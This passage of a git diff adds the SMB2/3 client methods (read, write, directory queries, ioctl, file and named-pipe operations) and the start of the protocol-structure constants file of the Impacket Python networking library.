+        if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:
+            packet['CreditCharge'] = ( 1 + (maxBytesToRead - 1) // 65536)
+        else:
+            maxBytesToRead = min(65536,bytesToRead)
+
+        smbRead = SMB2Read()
+        smbRead['Padding']  = 0x50
+        smbRead['FileID']   = fileId
+        smbRead['Length']   = maxBytesToRead
+        smbRead['Offset']   = offset
+        packet['Data'] = smbRead
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            readResponse = SMB2Read_Response(ans['Data'])
+            retData = readResponse['Buffer']
+            if readResponse['DataRemaining'] > 0:
+                retData += self.read(treeId, fileId, offset+len(retData), readResponse['DataRemaining'], waitAnswer)
+            return retData
+
+    def write(self, treeId, fileId, data, offset = 0, bytesToWrite = 0, waitAnswer = True):
+        # IMPORTANT NOTE: As you can see, this was coded as a recursive function
+        # Hence, you can exhaust the memory pretty easy ( large bytesToWrite )
+        # This function should NOT be used for writing directly to files, but another higher
+        # level function should be used that will break the writes into smaller pieces
+
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_WRITE
+        packet['TreeID']  = treeId
+
+        if self._Connection['MaxWriteSize'] < bytesToWrite:
+            maxBytesToWrite = self._Connection['MaxWriteSize']
+        else:
+            maxBytesToWrite = bytesToWrite
+
+        if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:
+            packet['CreditCharge'] = ( 1 + (maxBytesToWrite - 1) // 65536)
+        else:
+            maxBytesToWrite = min(65536,bytesToWrite)
+
+        smbWrite = SMB2Write()
+        smbWrite['FileID'] = fileId
+        smbWrite['Length'] = maxBytesToWrite
+        smbWrite['Offset'] = offset
+        smbWrite['WriteChannelInfoOffset'] = 0
+        smbWrite['Buffer'] = data[:maxBytesToWrite]
+        packet['Data'] = smbWrite
+
+        packetID = self.sendSMB(packet)
+        if waitAnswer is True:
+            ans = self.recvSMB(packetID)
+        else:
+            return maxBytesToWrite
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            writeResponse = SMB2Write_Response(ans['Data'])
+            bytesWritten = writeResponse['Count']
+            if bytesWritten < bytesToWrite:
+                bytesWritten += self.write(treeId, fileId, data[bytesWritten:], offset+bytesWritten, bytesToWrite-bytesWritten, waitAnswer)
+            return bytesWritten
+
+    def queryDirectory(self, treeId, fileId, searchString = '*', resumeIndex = 0, informationClass = FILENAMES_INFORMATION, maxBufferSize = None, enumRestart = False, singleEntry = False):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_QUERY_DIRECTORY
+        packet['TreeID']  = treeId
+
+        queryDirectory = SMB2QueryDirectory()
+        queryDirectory['FileInformationClass'] = informationClass
+        if resumeIndex != 0 :
+            queryDirectory['Flags'] = SMB2_INDEX_SPECIFIED
+        queryDirectory['FileIndex'] = resumeIndex
+        queryDirectory['FileID']    = fileId
+        if maxBufferSize is None:
+            maxBufferSize = self._Connection['MaxReadSize']
+        queryDirectory['OutputBufferLength'] = maxBufferSize
+        queryDirectory['FileNameLength']     = len(searchString)*2
+        queryDirectory['Buffer']             = searchString.encode('utf-16le')
+
+        packet['Data'] = queryDirectory
+
+        if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:
+            packet['CreditCharge'] = ( 1 + (maxBufferSize - 1) // 65536)
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            queryDirectoryResponse = SMB2QueryDirectory_Response(ans['Data'])
+            return queryDirectoryResponse['Buffer']
+
+    def echo(self):
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_ECHO
+        smbEcho = SMB2Echo()
+        packet['Data'] = smbEcho
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            return True
+
+    def cancel(self, packetID):
+        packet = self.SMB_PACKET()
+        packet['Command']   = SMB2_CANCEL
+        packet['MessageID'] = packetID
+
+        smbCancel = SMB2Cancel()
+
+        packet['Data']      = smbCancel
+        self.sendSMB(packet)
+
+    def ioctl(self, treeId, fileId = None, ctlCode = -1, flags = 0, inputBlob = '',  maxInputResponse = None, maxOutputResponse = None, waitAnswer = 1):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if fileId is None:
+            fileId = '\xff'*16
+        else:
+            if (fileId in self._Session['OpenTable']) is False:
+                raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command']            = SMB2_IOCTL
+        packet['TreeID']             = treeId
+
+        smbIoctl = SMB2Ioctl()
+        smbIoctl['FileID']             = fileId
+        smbIoctl['CtlCode']            = ctlCode
+        smbIoctl['MaxInputResponse']   = maxInputResponse
+        smbIoctl['MaxOutputResponse']  = maxOutputResponse
+        smbIoctl['InputCount']         = len(inputBlob)
+        if len(inputBlob) == 0:
+            smbIoctl['InputOffset'] = 0
+            smbIoctl['Buffer']      = '\x00'
+        else:
+            smbIoctl['Buffer']             = inputBlob
+        smbIoctl['OutputOffset']       = 0
+        smbIoctl['MaxOutputResponse']  = maxOutputResponse
+        smbIoctl['Flags']              = flags
+
+        packet['Data'] = smbIoctl
+
+        packetID = self.sendSMB(packet)
+
+        if waitAnswer == 0:
+            return True
+
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            smbIoctlResponse = SMB2Ioctl_Response(ans['Data'])
+            return smbIoctlResponse['Buffer']
+
+    def flush(self,treeId, fileId):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_FLUSH
+        packet['TreeID']  = treeId
+
+        smbFlush = SMB2Flush()
+        smbFlush['FileID'] = fileId
+
+        packet['Data'] = smbFlush
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            return True
+
+    def lock(self, treeId, fileId, locks, lockSequence = 0):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_LOCK
+        packet['TreeID']  = treeId
+
+        smbLock = SMB2Lock()
+        smbLock['FileID']       = fileId
+        smbLock['LockCount']    = len(locks)
+        smbLock['LockSequence'] = lockSequence
+        smbLock['Locks']        = ''.join(str(x) for x in locks)
+
+        packet['Data'] = smbLock
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            smbFlushResponse = SMB2Lock_Response(ans['Data'])
+            return True
+
+        # ToDo:
+        # If Open.ResilientHandle is TRUE or Connection.SupportsMultiChannel is TRUE, the client MUST
+        # do the following:
+        # The client MUST scan through Open.OperationBuckets and find an element with its Free field
+        # set to TRUE. If no such element could be found, an implementation-specific error MUST be
+        # returned to the application.
+        # Let the zero-based array index of the element chosen above be referred to as BucketIndex, and
+        # let BucketNumber = BucketIndex +1.
+        # Set Open.OperationBuckets[BucketIndex].Free = FALSE
+        # Let the SequenceNumber of the element chosen above be referred to as BucketSequence.
+        # The LockSequence field of the SMB2 lock request MUST be set to (BucketNumber<< 4) +
+        # BucketSequence.
+        # Increment the SequenceNumber of the element chosen above using MOD 16 arithmetic.
+
+    def logoff(self):
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_LOGOFF
+
+        smbLogoff = SMB2Logoff()
+
+        packet['Data'] = smbLogoff
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            # We clean the stuff we used in case we want to authenticate again
+            # within the same connection
+            self._Session['UserCredentials']   = ''
+            self._Session['Connection']        = 0
+            self._Session['SessionID']         = 0
+            self._Session['SigningRequired']   = False
+            self._Session['SigningKey']        = ''
+            self._Session['SessionKey']        = ''
+            self._Session['SigningActivated']  = False
+            return True
+
+    def queryInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_STANDARD_INFO, additionalInformation = 0, flags = 0 ):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_QUERY_INFO
+        packet['TreeID']  = treeId
+
+        queryInfo = SMB2QueryInfo()
+        queryInfo['FileID']                = fileId
+        queryInfo['InfoType']              = infoType
+        queryInfo['FileInfoClass']         = fileInfoClass
+        queryInfo['OutputBufferLength']    = 65535
+        queryInfo['AdditionalInformation'] = additionalInformation
+        if len(inputBlob) == 0:
+            queryInfo['InputBufferOffset'] = 0
+            queryInfo['Buffer']            = '\x00'
+        else:
+            queryInfo['InputBufferLength'] = len(inputBlob)
+            queryInfo['Buffer']            = inputBlob
+        queryInfo['Flags']                 = flags
+
+        packet['Data'] = queryInfo
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            queryResponse = SMB2QueryInfo_Response(ans['Data'])
+            return queryResponse['Buffer']
+
+    def setInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_STANDARD_INFO, additionalInformation = 0 ):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_SET_INFO
+        packet['TreeID']  = treeId
+
+        setInfo = SMB2SetInfo()
+        setInfo['InfoType']              = infoType
+        setInfo['FileInfoClass']         = fileInfoClass
+        setInfo['BufferLength']          = len(inputBlob)
+        setInfo['AdditionalInformation'] = additionalInformation
+        setInfo['FileID']                = fileId
+        setInfo['Buffer']                = inputBlob
+
+        packet['Data'] = setInfo
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            return True
+
+    def getSessionKey(self):
+        if self.getDialect() >= SMB2_DIALECT_30:
+           return self._Session['ApplicationKey']
+        else:
+           return self._Session['SessionKey']
+
+    def setSessionKey(self, key):
+        if self.getDialect() >= SMB2_DIALECT_30:
+           self._Session['ApplicationKey'] = key
+        else:
+           self._Session['SessionKey'] = key
+
+    ######################################################################
+    # Higher level functions
+
+    def rename(self, shareName, oldPath, newPath):
+        oldPath = oldPath.replace('/', '\\')
+        oldPath = ntpath.normpath(oldPath)
+        if len(oldPath) > 0 and oldPath[0] == '\\':
+            oldPath = oldPath[1:]
+
+        newPath = newPath.replace('/', '\\')
+        newPath = ntpath.normpath(newPath)
+        if len(newPath) > 0 and newPath[0] == '\\':
+            newPath = newPath[1:]
+
+        treeId = self.connectTree(shareName)
+        fileId = None
+        try:
+            fileId = self.create(treeId, oldPath, MAXIMUM_ALLOWED ,FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, 0x200020, FILE_OPEN, 0)
+            renameReq = FILE_RENAME_INFORMATION_TYPE_2()
+            renameReq['ReplaceIfExists'] = 1
+            renameReq['RootDirectory']   = '\x00'*8
+            renameReq['FileNameLength']  = len(newPath)*2
+            renameReq['FileName']        = newPath.encode('utf-16le')
+            self.setInfo(treeId, fileId, renameReq, infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_RENAME_INFO)
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+        return True
+
+    def writeFile(self, treeId, fileId, data, offset = 0):
+        finished = False
+        writeOffset = offset
+        while not finished:
+            if len(data) == 0:
+                break
+            writeData = data[:self._Connection['MaxWriteSize']]
+            data = data[self._Connection['MaxWriteSize']:]
+            written = self.write(treeId, fileId, writeData, writeOffset, len(writeData))
+            writeOffset += written
+        return writeOffset - offset
+
+    def isSnapshotRequest(self, path):
+        #TODO: use a regex here?
+        return '@GMT-' in path
+
+    def timestampForSnapshot(self, path):
+        timestamp = path[path.index("@GMT-"):path.index("@GMT-")+24]
+        path = path.replace(timestamp, '')
+        from datetime import datetime
+        fTime = int((datetime.strptime(timestamp, '@GMT-%Y.%m.%d-%H.%M.%S') - datetime(1970,1,1)).total_seconds())
+        fTime *= 10000000
+        fTime += 116444736000000000
+
+        token = SMB2_CREATE_TIMEWARP_TOKEN()
+        token['Timestamp'] = fTime
+
+        ctx = SMB2CreateContext()
+        ctx['Next'] = 0
+        ctx['NameOffset'] = 16
+        ctx['NameLength'] = len('TWrp')
+        ctx['DataOffset'] = 24
+        ctx['DataLength'] = 8
+        ctx['Buffer'] = b'TWrp'
+        ctx['Buffer'] += b'\x00'*4 # 4 bytes to 8-byte align
+        ctx['Buffer'] += token.getData()
+
+        # fix-up the path
+        path = path.replace(timestamp, '').replace('\\\\', '\\')
+        if path == '\\':
+            path += '*'
+        return path, ctx
+
+    def listPath(self, shareName, path, password = None):
+        createContexts = None
+
+        if self.isSnapshotRequest(path):
+            createContexts = []
+            path, ctx = self.timestampForSnapshot(path)
+            createContexts.append(ctx)
+
+        # ToDo: Handle situations where share is password protected
+        path = path.replace('/', '\\')
+        path = ntpath.normpath(path)
+        if len(path) > 0 and path[0] == '\\':
+            path = path[1:]
+
+        treeId = self.connectTree(shareName)
+
+        fileId = None
+        try:
+            # ToDo, we're assuming it's a directory, we should check what the file type is
+            fileId = self.create(treeId, ntpath.dirname(path), FILE_READ_ATTRIBUTES | FILE_READ_DATA, FILE_SHARE_READ |
+                                 FILE_SHARE_WRITE | FILE_SHARE_DELETE,
+                                 FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, FILE_OPEN, 0,
+                                 createContexts=createContexts)
+            res = ''
+            files = []
+            from impacket import smb
+            while True:
+                try:
+                    res = self.queryDirectory(treeId, fileId, ntpath.basename(path), maxBufferSize=65535,
+                                              informationClass=FILE_FULL_DIRECTORY_INFORMATION)
+                    nextOffset = 1
+                    while nextOffset != 0:
+                        fileInfo = smb.SMBFindFileFullDirectoryInfo(smb.SMB.FLAGS2_UNICODE)
+                        fileInfo.fromString(res)
+                        files.append(smb.SharedFile(fileInfo['CreationTime'], fileInfo['LastAccessTime'],
+                                                    fileInfo['LastChangeTime'], fileInfo['EndOfFile'],
+                                                    fileInfo['AllocationSize'], fileInfo['ExtFileAttributes'],
+                                                    fileInfo['FileName'].decode('utf-16le'),
+                                                    fileInfo['FileName'].decode('utf-16le')))
+                        nextOffset = fileInfo['NextEntryOffset']
+                        res = res[nextOffset:]
+                except SessionError as e:
+                    if (e.get_error_code()) != STATUS_NO_MORE_FILES:
+                        raise
+                    break
+                except Exception as e:
+                    print(str(e))
+                    raise
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+        return files
+
+    def mkdir(self, shareName, pathName, password = None):
+        # ToDo: Handle situations where share is password protected
+        pathName = pathName.replace('/', '\\')
+        pathName = ntpath.normpath(pathName)
+        if len(pathName) > 0 and pathName[0] == '\\':
+            pathName = pathName[1:]
+
+        treeId = self.connectTree(shareName)
+
+        fileId = None
+        try:
+            fileId = self.create(treeId, pathName, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
+                                 FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, FILE_CREATE, 0)
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+        return True
+
+    def rmdir(self, shareName, pathName, password = None):
+        # ToDo: Handle situations where share is password protected
+        pathName = pathName.replace('/', '\\')
+        pathName = ntpath.normpath(pathName)
+        if len(pathName) > 0 and pathName[0] == '\\':
+            pathName = pathName[1:]
+
+        treeId = self.connectTree(shareName)
+
+        fileId = None
+        try:
+            fileId = self.create(treeId, pathName, desiredAccess=DELETE | FILE_READ_ATTRIBUTES | SYNCHRONIZE,
+                                 shareMode=FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
+                                 creationOptions=FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,
+                                 creationDisposition=FILE_OPEN, fileAttributes=0)
+            from impacket import smb
+            delete_req = smb.SMBSetFileDispositionInfo()
+            delete_req['DeletePending'] = True
+            self.setInfo(treeId, fileId, inputBlob=delete_req, fileInfoClass=SMB2_FILE_DISPOSITION_INFO)
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+        return True
+
+    def remove(self, shareName, pathName, password = None):
+        # ToDo: Handle situations where share is password protected
+        pathName = pathName.replace('/', '\\')
+        pathName = ntpath.normpath(pathName)
+        if len(pathName) > 0 and pathName[0] == '\\':
+            pathName = pathName[1:]
+
+        treeId = self.connectTree(shareName)
+
+        fileId = None
+        try:
+            fileId = self.create(treeId, pathName,DELETE | FILE_READ_ATTRIBUTES, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, FILE_OPEN, 0)
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+        return True
+
+    def retrieveFile(self, shareName, path, callback, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):
+        createContexts = None
+
+        if self.isSnapshotRequest(path):
+            createContexts = []
+            path, ctx = self.timestampForSnapshot(path)
+            createContexts.append(ctx)
+
+        # ToDo: Handle situations where share is password protected
+        path = path.replace('/', '\\')
+        path = ntpath.normpath(path)
+        if len(path) > 0 and path[0] == '\\':
+            path = path[1:]
+
+        treeId = self.connectTree(shareName)
+        fileId = None
+        from impacket import smb
+        try:
+            fileId = self.create(treeId, path, FILE_READ_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0, createContexts=createContexts)
+            res = self.queryInfo(treeId, fileId)
+            fileInfo = smb.SMBQueryFileStandardInfo(res)
+            fileSize = fileInfo['EndOfFile']
+            if (fileSize-offset) < self._Connection['MaxReadSize']:
+                # Skip reading 0 bytes files.
+                if (fileSize-offset) > 0:
+                    data = self.read(treeId, fileId, offset, fileSize-offset)
+                    callback(data)
+            else:
+                written = 0
+                toBeRead = fileSize-offset
+                while written < toBeRead:
+                    data = self.read(treeId, fileId, offset, self._Connection['MaxReadSize'])
+                    written += len(data)
+                    offset  += len(data)
+                    callback(data)
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+    def storeFile(self, shareName, path, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = FILE_SHARE_WRITE):
+        # ToDo: Handle situations where share is password protected
+        path = path.replace('/', '\\')
+        path = ntpath.normpath(path)
+        if len(path) > 0 and path[0] == '\\':
+            path = path[1:]
+
+        treeId = self.connectTree(shareName)
+        fileId = None
+        try:
+            fileId = self.create(treeId, path, FILE_WRITE_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0)
+            finished = False
+            writeOffset = offset
+            while not finished:
+                data = callback(self._Connection['MaxWriteSize'])
+                if len(data) == 0:
+                    break
+                written = self.write(treeId, fileId, data, writeOffset, len(data))
+                writeOffset += written
+        finally:
+            if fileId is not None:
+                self.close(treeId, fileId)
+            self.disconnectTree(treeId)
+
+    def waitNamedPipe(self, treeId, pipename, timeout = 5):
+        pipename = ntpath.basename(pipename)
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if len(pipename) > 0xffff:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        pipeWait = FSCTL_PIPE_WAIT_STRUCTURE()
+        pipeWait['Timeout']          = timeout*100000
+        pipeWait['NameLength']       = len(pipename)*2
+        pipeWait['TimeoutSpecified'] = 1
+        pipeWait['Name']             = pipename.encode('utf-16le')
+
+        return self.ioctl(treeId, None, FSCTL_PIPE_WAIT,flags=SMB2_0_IOCTL_IS_FSCTL, inputBlob=pipeWait, maxInputResponse = 0, maxOutputResponse=0)
+
+    def getIOCapabilities(self):
+        res = dict()
+
+        res['MaxReadSize'] = self._Connection['MaxReadSize']
+        res['MaxWriteSize'] = self._Connection['MaxWriteSize']
+        return res
+
+
+    ######################################################################
+    # Backward compatibility functions and alias for SMB1 and DCE Transports
+    # NOTE: It is strongly recommended not to use these commands
+    # when implementing new client calls.
+    get_server_name            = getServerName
+    get_client_name            = getClientName
+    get_server_domain          = getServerDomain
+    get_server_dns_domain_name = getServerDNSDomainName
+    get_server_dns_host_name   = getServerDNSHostName
+    get_remote_name            = getRemoteName
+    set_remote_name            = setRemoteName
+    get_remote_host            = getServerIP
+    get_server_os              = getServerOS
+    get_server_os_major        = getServerOSMajor
+    get_server_os_minor        = getServerOSMinor
+    get_server_os_build        = getServerOSBuild
+    tree_connect_andx          = connectTree
+    tree_connect               = connectTree
+    connect_tree               = connectTree
+    disconnect_tree            = disconnectTree
+    set_timeout                = setTimeout
+    use_timeout                = useTimeout
+    stor_file                  = storeFile
+    retr_file                  = retrieveFile
+    list_path                  = listPath
+
+    def close_session(self):
+        if self._NetBIOSSession:
+            self._NetBIOSSession.close()
+            self._NetBIOSSession = None
+
+    def doesSupportNTLMv2(self):
+        # Always true :P
+        return True
+
+    def is_login_required(self):
+        # Always true :P
+        return True
+
+    def is_signing_required(self):
+        return self._Connection['RequireSigning']
+
+    def nt_create_andx(self, treeId, fileName, smb_packet=None, cmd = None):
+        if len(fileName) > 0 and fileName[0] == '\\':
+            fileName = fileName[1:]
+
+        if cmd is not None:
+            from impacket import smb
+            ntCreate = smb.SMBCommand(data = cmd.getData())
+            params = smb.SMBNtCreateAndX_Parameters(ntCreate['Parameters'])
+            return self.create(treeId, fileName, params['AccessMask'], params['ShareAccess'],
+                               params['CreateOptions'], params['Disposition'], params['FileAttributes'],
+                               params['Impersonation'], params['SecurityFlags'])
+
+        else:
+            return self.create(treeId, fileName,
+                    FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA |
+                    FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | READ_CONTROL,
+                    FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE, FILE_OPEN, 0 )
+
+    def get_socket(self):
+        return self._NetBIOSSession.get_socket()
+
+
+    def write_andx(self,tid,fid,data, offset = 0, wait_answer=1, write_pipe_mode = False, smb_packet=None):
+        # ToDo: Handle the custom smb_packet situation
+        return self.write(tid, fid, data, offset, len(data))
+
+    def TransactNamedPipe(self, tid, fid, data, noAnswer = 0, waitAnswer = 1, offset = 0):
+        return self.ioctl(tid, fid, FSCTL_PIPE_TRANSCEIVE, SMB2_0_IOCTL_IS_FSCTL, data, maxOutputResponse = 65535, waitAnswer = noAnswer | waitAnswer)
+
+    def TransactNamedPipeRecv(self):
+        ans = self.recvSMB()
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            smbIoctlResponse = SMB2Ioctl_Response(ans['Data'])
+            return smbIoctlResponse['Buffer']
+
+
+    def read_andx(self, tid, fid, offset=0, max_size = None, wait_answer=1, smb_packet=None):
+        # ToDo: Handle the custom smb_packet situation
+        if max_size is None:
+            max_size = self._Connection['MaxReadSize']
+        return self.read(tid, fid, offset, max_size, wait_answer)
+
+    def list_shared(self):
+        # In the context of SMB2/3, forget about the old LANMAN, throw NOT IMPLEMENTED
+        raise SessionError(STATUS_NOT_IMPLEMENTED)
+
+    def open_andx(self, tid, fileName, open_mode, desired_access):
+        # ToDo Return all the attributes of the file
+        if len(fileName) > 0 and fileName[0] == '\\':
+            fileName = fileName[1:]
+
+        fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0)
+        return fileId, 0, 0, 0, 0, 0, 0, 0, 0
+
+    def set_session_key(self, signingKey):
+        self._Session['SessionKey'] = signingKey
+        self._Session['SigningActivated'] = True
+        self._Session['SigningRequired'] = True
+
+    def set_hostname_validation(self, validate, accept_empty, hostname):
+        self._strict_hostname_validation = validate
+        self._validation_allow_absent = accept_empty
+        self._accepted_hostname = hostname
+
+    def perform_hostname_validation(self):
+        if self._Session['ServerName'] == '':
+            if not self._validation_allow_absent:
+                raise self.HostnameValidationException('Hostname was not supplied by target host and absent validation is disallowed')
+            return
+        if self._Session['ServerName'].lower() != self._accepted_hostname.lower() and self._Session['ServerDNSHostName'].lower() != self._accepted_hostname.lower():
+            raise self.HostnameValidationException('Supplied hostname %s does not match reported hostnames %s or %s' %
+                (self._accepted_hostname.lower(), self._Session['ServerName'].lower(), self._Session['ServerDNSHostName'].lower()))
diff --git a/impacket/smb3structs.py b/impacket/smb3structs.py
new file mode 100644
index 0000000..a442e08
--- /dev/null
+++ b/impacket/smb3structs.py
@@ -0,0 +1,1576 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SMB 2 and 3 Protocol Structures and constants [MS-SMB2]
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+
+from impacket.structure import Structure
+
+# Constants
+
+# SMB Packet
+SMB2_PACKET_SIZE     = 64
+
+# SMB Commands
+SMB2_NEGOTIATE       = 0x0000 #
+SMB2_SESSION_SETUP   = 0x0001 #
+SMB2_LOGOFF          = 0x0002 #
+SMB2_TREE_CONNECT    = 0x0003 #
+SMB2_TREE_DISCONNECT = 0x0004 #
+SMB2_CREATE          = 0x0005 #
+SMB2_CLOSE           = 0x0006 #
+SMB2_FLUSH           = 0x0007 #
+SMB2_READ            = 0x0008 #
+SMB2_WRITE           = 0x0009 #
+SMB2_LOCK            = 0x000A #
+SMB2_IOCTL           = 0x000B #
+SMB2_CANCEL          = 0x000C #
+SMB2_ECHO            = 0x000D #
+SMB2_QUERY_DIRECTORY = 0x000E #
+SMB2_CHANGE_NOTIFY   = 0x000F
+SMB2_QUERY_INFO      = 0x0010 #
+SMB2_SET_INFO        = 0x0011
+SMB2_OPLOCK_BREAK    = 0x0012
+
+# SMB Flags
+SMB2_FLAGS_SERVER_TO_REDIR    = 0x00000001
+SMB2_FLAGS_ASYNC_COMMAND      = 0x00000002
+SMB2_FLAGS_RELATED_OPERATIONS = 0x00000004
+SMB2_FLAGS_SIGNED             = 0x00000008
+SMB2_FLAGS_DFS_OPERATIONS     = 0x10000000
+SMB2_FLAGS_REPLAY_OPERATION   = 0x80000000
+
+# SMB Error SymLink Flags
+SYMLINK_FLAG_ABSOLUTE         = 0x0
+SYMLINK_FLAG_RELATIVE         = 0x1
+
+# SMB2_NEGOTIATE
+# Security Modes
+SMB2_NEGOTIATE_SIGNING_ENABLED  = 0x1
+SMB2_NEGOTIATE_SIGNING_REQUIRED = 0x2
+
+# SMB2_NEGOTIATE_CONTEXT
+SMB2_PREAUTH_INTEGRITY_CAPABILITIES = 0x1
+SMB2_ENCRYPTION_CAPABILITIES        = 0x2
+SMB2_COMPRESSION_CAPABILITIES       = 0x3
+SMB2_NETNAME_NEGOTIATE_CONTEXT_ID   = 0x5
+
+# SMB2_COMPRESSION_CAPABILITIES
+SMB2_COMPRESSION_CAPABILITIES_FLAG_NONE    = 0x0
+SMB2_COMPRESSION_CAPABILITIES_FLAG_CHAINED = 0x1
+
+# Compression Algorithms
+COMPRESSION_ALGORITHM_NONE         = 0x0
+COMPRESSION_ALGORITHM_LZNT1        = 0x1
+COMPRESSION_ALGORITHM_LZ77         = 0x2
+COMPRESSION_ALGORITHM_LZ77_HUFFMAN = 0x3
+COMPRESSION_ALGORITHM_PATTERN_V1   = 0x4
+
+# Capabilities
+SMB2_GLOBAL_CAP_DFS                = 0x01
+SMB2_GLOBAL_CAP_LEASING            = 0x02
+SMB2_GLOBAL_CAP_LARGE_MTU          = 0x04
+SMB2_GLOBAL_CAP_MULTI_CHANNEL      = 0x08
+SMB2_GLOBAL_CAP_PERSISTENT_HANDLES = 0x10
+SMB2_GLOBAL_CAP_DIRECTORY_LEASING  = 0x20
+SMB2_GLOBAL_CAP_ENCRYPTION         = 0x40
+
+# Dialects
+SMB2_DIALECT_002      = 0x0202
+SMB2_DIALECT_21       = 0x0210
+SMB2_DIALECT_30       = 0x0300
+SMB2_DIALECT_302      = 0x0302  #SMB 3.0.2
+SMB2_DIALECT_311      = 0x0311  #SMB 3.1.1
+SMB2_DIALECT_WILDCARD = 0x02FF
+
+# SMB2_SESSION_SETUP
+# Flags
+SMB2_SESSION_FLAG_BINDING        = 0x01
+SMB2_SESSION_FLAG_IS_GUEST       = 0x01
